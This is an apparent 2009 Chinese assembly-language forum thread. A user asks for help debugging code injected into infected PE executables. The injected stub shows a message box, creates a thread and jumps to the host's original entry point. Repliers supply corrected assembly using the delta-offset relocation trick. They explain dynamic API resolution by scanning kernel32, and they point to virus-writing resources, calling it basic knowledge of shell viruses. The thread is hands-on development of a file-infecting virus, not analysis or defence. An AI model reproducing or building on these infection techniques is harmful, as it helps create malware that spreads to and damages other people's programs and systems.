汇编植入PE文件的问题?

hucaiyu 2009-03-25 03:14:47
本来想在PE感染代码加个线程处理的过程,线程是被正常生成了,但PE运行后还是会报0X0000000错误,
如果不使用线程,调用其他API没有问题。怪
我感染代码是这样的
vstart:
pop ebp
push 0
lea eax,szCaption [ebp]
push eax
lea eax,szTitle[ebp]
push eax
push 0
call messageboxAddr[ebp];//这里可以正常使用和弹出消息提示
push dwThreadID
push 0
push 0
push ThreadProc[ebp];//线程的地址
push 0
push 0
call createthreadAddr [ebp];//这里可以创建线程,在任务管理器看了是2个线程
push eax,原来程序的入口地址
push eax,景象大小
PUSH EAX
RET
ThreadProc proc user ecx par:dword

ThreadProc endp
messageboxAddr dd 0;这个已经取得地址
szCaption db "开始",0
szTitle db "开始!!",0

createthreadAddr dd 0;这个API也获得了地址
dwThreadID dd 0
vend:

这样写创建线程不知道正确否,ox0000000使用OD调试却在kernel32.dll里面。。
哪位大虾帮助下下。。。
...全文
168 22 打赏 收藏 转发到动态 举报
写回复
用AI写文章
22 条回复
切换为时间正序
请发表友善的回复…
发表回复
hucaiyu 2009-03-30
  • 打赏
  • 举报
回复
[Quote=引用 20 楼 killbug2004 的回复:]
http://bbs.pediy.com/showthread.php?t=52630
http://bbs.pediy.com/showthread.php?t=83646
看雪里搜索 还有很多

先搜索kernel32.dll模块,动态查找GetProcAddress函数和LoadLibrary的地址,在利用这两个函数来获取其它函数的地址。。。。。。
壳病毒的基础知识
[/Quote]

终于出现了 我是新手遇到老问题,,呵呵 好我去找找
killbug2004 2009-03-30
  • 打赏
  • 举报
回复
http://bbs.pediy.com/showthread.php?t=52630
http://bbs.pediy.com/showthread.php?t=83646
看雪里搜索 还有很多

先搜索kernel32.dll模块,动态查找GetProcAddress函数和LoadLibrary的地址,在利用这两个函数来获取其它函数的地址。。。。。。
壳病毒的基础知识
hucaiyu 2009-03-30
  • 打赏
  • 举报
回复
[Quote=引用 18 楼 jackzhhuang 的回复:]
晕,每次得到API入口地址都是是分析出来的,不是记下来的。

只要是函数名不变,都可以查询到函数入口地址。
[/Quote]

我看试了每次查询,可是连loadlibary 和getprocessaddr 这2个api也是变化
的, 不知道还有jackzhhuang 什么好的方法 介绍一二
lightbear 2009-03-30
  • 打赏
  • 举报
回复
up
jackzhhuang 2009-03-28
  • 打赏
  • 举报
回复
晕,每次得到API入口地址都是是分析出来的,不是记下来的。

只要是函数名不变,都可以查询到函数入口地址。
hucaiyu 2009-03-27
  • 打赏
  • 举报
回复
我不是直接调用的是 已经获取的。。好我去看看
killbug2004 2009-03-27
  • 打赏
  • 举报
回复
;TODO
;lea eax,ThreadID[ebp]
lea eax,ThreadID[ebp]
;mov eax,ebp
;add eax,ThreadID
push eax;线程ID
push 0;创建标示
lea eax,ThreadProc[ebp]
push NULL;参数
push eax ;函数地址
push 0;堆栈大小
push NULL;属性
call CreateThreadAddr[ebp]

mov eax,dwOld_AddressOfEntryPoint[ebp]
add eax,dwOld_ImageBase[ebp]
push eax
ret


还是CreateThread传递参数重定位问题,改成上面就可以了
一定要记住这种代码是以shellcode的形式运行,感染线程里面不能直接调用api,api地址要自己获取,多去参考29a的代码
hucaiyu 2009-03-27
  • 打赏
  • 举报
回复
发你了 帮我看下咯 谢谢
hucaiyu 2009-03-27
  • 打赏
  • 举报
回复
我也调试看了API入口地址每个系统DLL的版本不同而不同,,,困死了.............
hucaiyu 2009-03-27
  • 打赏
  • 举报
回复
感染的PE文件在本机正常运行,可是拿到其他系统去怎么运行不了?
好象入口变化了,是怎么回事
jackzhhuang 2009-03-26
  • 打赏
  • 举报
回复
[Quote=引用 6 楼 hucaiyu 的回复:]
to:killbug2004
还是有错误 是不是没有写权限呢?
已经这样了push offset dwthreadID
[/Quote]
offset 实在编译连接的时候的偏移,你写到其他exe文件上,这个偏移就不对了。

call @F
@@:
pop ebx
sub ebx, offset @B

push ebx + dwThreadID


试试。

hucaiyu 2009-03-26
  • 打赏
  • 举报
回复
to:killbug2004
还是有错误 是不是没有写权限呢?
已经这样了push offset dwthreadID
hucaiyu 2009-03-26
  • 打赏
  • 举报
回复
今天马上去试试!!
killbug2004 2009-03-26
  • 打赏
  • 举报
回复
killbug2004@gmail.com
hucaiyu 2009-03-26
  • 打赏
  • 举报
回复
[Quote=引用 9 楼 killbug2004 的回复:]
这样臆断分析不出来,代码或者bin传到临时网站上吧
[/Quote]

留个邮箱给我吧
hucaiyu 2009-03-26
  • 打赏
  • 举报
回复
好 明天上传代码!
killbug2004 2009-03-26
  • 打赏
  • 举报
回复
这样臆断分析不出来,代码或者bin传到临时网站上吧
hucaiyu 2009-03-26
  • 打赏
  • 举报
回复
是了还是不行 而且连线程都没有筹建起
我是这样的lea eax,dwThreadID[ebp]是可以创建线程的
就是被感染PE报ox00000000错误!!
jackzhhuang 2009-03-25
  • 打赏
  • 举报
回复
对, 重定位dwthreadID试试。
Areslee 2009-03-25
  • 打赏
  • 举报
回复
push offset dwThreadID
加载更多回复(2)

21,459

社区成员

发帖
与我相关
我的任务
社区描述
汇编语言(Assembly Language)是任何一种用于电子计算机、微处理器、微控制器或其他可编程器件的低级语言,亦称为符号语言。
社区管理员
  • 汇编语言
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧